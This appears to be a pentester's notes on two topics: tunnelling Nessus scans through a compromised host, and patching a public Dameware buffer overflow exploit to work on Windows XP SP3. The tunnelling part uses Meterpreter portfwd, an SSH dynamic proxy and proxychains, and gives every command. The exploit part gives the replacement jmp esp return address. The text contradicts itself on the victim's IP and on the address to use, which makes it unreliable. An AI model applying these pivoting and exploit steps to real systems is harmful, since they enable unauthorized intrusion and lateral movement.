Scanning through Meterpreter and SSH Tunnel

By Mark Baggett


The Players
Attacker 172.16.186.132
Victim 172.16.186.126

Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here.

Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example:

meterpreter> portfwd add -L 172.16.186.132 -l 8000 -r 172.16.186.128 -p 22

(Notes to self: alternatively without Meterpreter: ssh -L 8000:localhost:22 username@victim)

This command sets up a listener on port 8000 of the attacker's IP (172.16.186.132) and forwards packets to port 22 on the victim's machine (172.16.186.128).


Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example:

# ssh -D 127.0.0.1:9000 -p 8000 username@172.16.186.132

(My own notes: ssh -D 127.0.0.1:9000 -p 8000 username@attackermachine)

This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.

Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows:

# proxychains /usr/sbin/nessusd -D

Step 5 - Start the nessus client and do you scan.

Follow up on Dameware Exploit

A follow up on the Dameware post. After updating to latest SP3 hotfixes and patches, the memory address for "jmp esp" is changed again on kernel32.dll.

At the time of this post, the new memory is:
0x7C874413

Dameware Mini Remote Control Client Agent Exploit Windows XP SP3

/Start update 3/2/2011

http://www.milw0rm.com/exploits/1190 (obsolete)

http://www.exploit-db.com/exploits/1190/

After updating to latest SP3 hotfixes and patches, the memory address for "jmp esp" is changed again on kernel32.dll.

At the time of this post, the new memory is:
0x7C874413

/End update

An oldy, but during a pentest the client had an old version of Dameware, however running on Windows XP SP3 (not supported) by the following above code.

In the following lines where the code defines its static offset addresses to locate the "jmp esp" command:

target_os[] = ...

"WIN XP" ,{{ 0x71ab7bfb,"kernel32.dll" },{ 0x71ab7bfb,"ws2_32.dll" },{ 0x7C941EED,"ws2_32.dll" },{ 0x00000000,"unknown.dll" },{ 0x00000000,"unknown.dll" },{ 0x00000000,"unknown.dll" },{ 0x00000000,"unknown.dll" }}},

...

We can see that item "3" is set to 0x00000000 and unknown.dll. This placeholder is for XP SP3.

Using Immunity Debugger and sifting through Dameware's modules, I found that it is using kernel32.dll 's jmp esp.

Thus, replace item 3 with 0x7C86467B, "kernel32.dll" to effectively altering the script to support Windows XP SP3.

Like most Buffer Overflow exploits, this one, you only get one shot before nuking the service. Thus, double check and test the exploit before carrying it out.